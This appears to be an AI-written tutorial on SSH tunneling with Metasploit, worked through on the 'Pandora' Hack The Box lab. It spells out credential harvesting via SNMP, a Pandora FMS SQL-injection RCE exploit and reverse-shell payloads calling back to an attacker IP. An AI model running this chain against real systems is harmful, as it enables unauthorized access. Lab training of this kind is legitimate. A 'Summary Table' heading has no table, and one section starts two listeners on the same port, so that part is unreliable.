SSH Tunneling & Port Forwarding

I’ll do a deep research on SSH tunneling with Metasploit, specifically using the Pandora HTB box as a practical example to clarify the correct approach.

SSH Tunneling with Metasploit: A Complete Guide (Pandora HTB Edition)

Your original guide is mostly correct for local port forwarding (ssh -L), but it lacks clarity on why things work and when to use different approaches. Let me clarify the confusion and expand with the Pandora HTB box as a practical example.

Understanding the Pandora HTB Scenario

The Problem:

• Pandora HTB has a Pandora FMS web application running on 127.0.0.1:80 (localhost only)
• It’s bound ONLY to loopback—you cannot access it from your attacker machine directly
• You gain SSH access as daniel user via SNMP credential leak
• You need to access this internal web service to exploit it

The Solution: SSH local port forwarding

Part 1: SSH Local Port Forward (ssh -L) - The Pandora Way

What It Actually Does

ssh -L 9001:localhost:80 daniel@10.10.11.136

This creates a PORT MAPPING:

• Your machine listens on 127.0.0.1:9001
• Any connection to YOUR 127.0.0.1:9001 → tunneled through SSH → TARGET’s localhost:80

Critical Understanding:

• The localhost:80 part is resolved from the target’s perspective
• You could also forward to OTHER machines the target can reach: ssh -L 9001:10.10.10.5:80 daniel@target

Verify the Tunnel

From your machine:

curl -i http://127.0.0.1:9001/pandora_console/
# Or in browser: http://127.0.0.1:9001/pandora_console/

If you see the Pandora FMS login page, the tunnel works.

Part 2: Metasploit Configuration with ssh -L

Core Principle: You’re Targeting YOUR Local Endpoint

When using ssh -L, Metasploit connects to your local tunnel endpoint, NOT the remote IP.

Configuration for Pandora FMS Exploit

msfconsole
use exploit/linux/http/pandora_fms_sqli_rce
show options

Set these options:

Commands:

set RHOSTS 127.0.0.1
set RPORT 9001
set SSL false
set TARGETURI /pandora_console/
set USERNAME admin
set PASSWORD pandora
unset Proxies

Part 3: The Critical LHOST Confusion (Reverse Shells)

The Two Separate Connections

When you exploit a service, there are TWO different network connections:

1. Exploit Delivery (Metasploit → Web Service):

   • Goes through the tunnel
   • RHOSTS=127.0.0.1, RPORT=9001

2. Reverse Shell (Target → Attacker):

   • Does NOT go through the tunnel (usually)
   • LHOST=your_real_IP (e.g., tun0 10.10.14.x)

LHOST Settings for Pandora HTB

set LHOST 10.10.14.50  # Your tun0 VPN IP
set LPORT 4444         # Port where YOU listen for callback

Why NOT 127.0.0.1?

• If LHOST=127.0.0.1, you’re telling the target to connect to its own localhost
• The reverse shell would try to connect to itself and fail

Why does this work without another tunnel?

• The target can reach your VPN IP directly (10.10.14.x)
• Only the web service is localhost-only
• The target machine itself has normal network connectivity

Complete Exploit Command

use exploit/linux/http/pandora_fms_sqli_rce
set RHOSTS 127.0.0.1    # Tunnel endpoint on YOUR machine
set RPORT 9001          # YOUR local port
set SSL false
set TARGETURI /pandora_console/
set USERNAME admin
set PASSWORD pandora
set LHOST 10.10.14.50   # YOUR tun0 IP (for reverse shell)
set LPORT 4444
set PAYLOAD linux/x64/meterpreter/reverse_tcp
exploit

Part 4: When to Use ssh -D (Dynamic SOCKS Proxy)

The Difference

ssh -D is completely different from ssh -L:

Creating a SOCKS Proxy

ssh -D 1080 daniel@10.10.11.136

This creates a SOCKS5 proxy on YOUR 127.0.0.1:1080.

Metasploit Configuration with SOCKS Proxy

Key difference: You now target the actual remote host, not 127.0.0.1:

setg Proxies socks5:127.0.0.1:1080
set RHOSTS 10.10.11.136    # Actual target IP
set RPORT 80               # Actual remote port
set SSL false

What happens:

1. Metasploit connects to the SOCKS proxy at 127.0.0.1:1080
2. Proxy forwards the connection through SSH to 10.10.11.136:80
3. The target’s localhost services are still unreachable (SOCKS doesn’t help here)

When to Use SOCKS (ssh -D)

• Multiple targets/ports behind the SSH server
• Scanning entire internal networks
• Dynamic reconnaissance
• When you don’t know which ports you’ll need in advance

For Pandora HTB specifically, ssh -L is simpler because you only need one specific port.

Part 5: Advanced Scenario - ssh -R (Reverse Tunnel)

When Target Cannot Reach You

Sometimes the target cannot connect back to your IP:

• Double NAT
• Firewall blocking outbound
• No route to your network

Solution: Reverse port forward

How ssh -R Works

# On your machine, create reverse tunnel:
ssh -R 4444:localhost:4444 daniel@10.10.11.136

# In another terminal, start local listener:
nc -lvnp 4444

What this does:

• Target’s localhost:4444 → tunneled back through SSH → YOUR localhost:4444
• When target connects to its own localhost:4444, it reaches your listener

Metasploit with Reverse Tunnel

# Terminal 1: Start handler on your machine
msfconsole
use multi/handler
set PAYLOAD linux/x64/shell/reverse_tcp
set LHOST 127.0.0.1     # Listen locally
set LPORT 4444
run

# Terminal 2: Create reverse tunnel and exploit
ssh -R 4444:localhost:4444 daniel@10.10.11.136

# Terminal 3: Run exploit with tunnel settings
msfconsole
use exploit/linux/http/pandora_fms_sqli_rce
set RHOSTS 127.0.0.1   # Web service tunnel
set RPORT 9001
set LHOST 127.0.0.1    # Target connects to its localhost
set LPORT 4444         # Which forwards to you via ssh -R
set PAYLOAD linux/x64/shell/reverse_tcp
exploit

Part 6: Complete Pandora HTB Workflow

Step 1: Reconnaissance

# Enumerate SNMP (finds daniel's credentials)
snmpwalk -v 2c -c public 10.10.11.136

Step 2: SSH Access

ssh daniel@10.10.11.136
# Password discovered via SNMP

Step 3: Port Forward (keep this running)

ssh -L 9001:localhost:80 daniel@10.10.11.136 -N
# -N means "don't execute commands, just forward"

Step 4: Verify Access

curl http://127.0.0.1:9001/pandora_console/

Step 5: Exploit with Metasploit

msfconsole -q
use exploit/linux/http/pandora_fms_sqli_rce

# Access the web service via tunnel
set RHOSTS 127.0.0.1
set RPORT 9001
set SSL false
set TARGETURI /pandora_console/

# Credentials (default or discovered)
set USERNAME admin
set PASSWORD pandora

# Reverse shell comes back directly (not through tunnel)
set LHOST 10.10.14.50    # Your tun0 IP
set LPORT 4444

# Payload
set PAYLOAD linux/x64/meterpreter/reverse_tcp

# No proxy needed for ssh -L
unset Proxies

show options
check
exploit

Part 7: Common Mistakes & Fixes

❌ Mistake 1: Setting RHOSTS to Target IP

set RHOSTS 10.10.11.136  # WRONG with ssh -L
set RPORT 80

Why it fails: You’re bypassing the tunnel and trying to connect directly (which is blocked).

Fix:

set RHOSTS 127.0.0.1   # Your local tunnel endpoint
set RPORT 9001         # Your local port

❌ Mistake 2: Setting LHOST to 127.0.0.1

set LHOST 127.0.0.1    # WRONG for standard reverse shell

Why it fails: Target tries to connect to its own localhost, not you.

Fix:

set LHOST 10.10.14.50  # Your tun0 IP that target can reach

❌ Mistake 3: Using Proxies with ssh -L

set Proxies socks5:127.0.0.1:1080  # WRONG with ssh -L

Why it’s wrong: ssh -L is not a proxy, it’s a direct port mapping.

Fix:

unset Proxies
unsetg Proxies

❌ Mistake 4: Wrong SSL Setting

set SSL true  # WRONG when forwarding HTTP port 80

Why it fails: Metasploit tries HTTPS but port 80 speaks HTTP.

Fix:

set SSL false  # Match the actual protocol

Part 8: Decision Tree

Which Tunneling Method?

Need to access localhost-only service?
│
├─ YES: Need ONE specific port?
│   └─ Use: ssh -L 9001:localhost:80 user@target
│   └─ Metasploit: RHOSTS=127.0.0.1, RPORT=9001, unset Proxies
│
├─ YES: Need MULTIPLE ports/hosts?
│   └─ Use: ssh -D 1080 user@target
│   └─ Metasploit: setg Proxies socks5:127.0.0.1:1080, RHOSTS=actual_IP
│
└─ NO: Direct access works
    └─ Just set RHOSTS=target_IP normally

Can Target Reach You for Reverse Shell?

Target can connect to your IP?
│
├─ YES (normal case):
│   └─ LHOST=your_tun0_IP (e.g., 10.10.14.50)
│
├─ NO (firewall/NAT blocks):
│   └─ Use: ssh -R 4444:localhost:4444 user@target
│   └─ LHOST=127.0.0.1 (target's localhost forwards to you)
│
└─ UNSURE:
    └─ Try: python3 -m http.server 8000
    └─ On target: curl http://your_IP:8000
    └─ If works: use your_IP, if fails: use ssh -R

Part 9: Auxiliary/Scanner Modules (No LHOST Needed)

For modules that just query the service (no reverse shell):

use auxiliary/scanner/http/http_version
set RHOSTS 127.0.0.1
set RPORT 9001
set SSL false
unset Proxies
run

Notice: No LHOST/LPORT because there’s no reverse connection.

Summary Table: Metasploit Settings by Tunnel Type

What Your Original Guide Got Right

• ✅ RHOSTS=127.0.0.1 for ssh -L
• ✅ RPORT=local_listening_port for ssh -L
• ✅ Unset Proxies for ssh -L
• ✅ LHOST/LPORT mostly not needed for scanner modules

What It Missed

• ❌ WHY RHOSTS is 127.0.0.1 (it’s YOUR local endpoint)
• ❌ LHOST for reverse shells (needs your real IP)
• ❌ When to use ssh -D vs ssh -L
• ❌ ssh -R for when target can’t reach you
• ❌ The distinction between “accessing service” and “receiving reverse shell”

This guide should clear up the confusion. The Pandora HTB example is perfect for understanding these concepts because it demonstrates the exact scenario where ssh -L shines.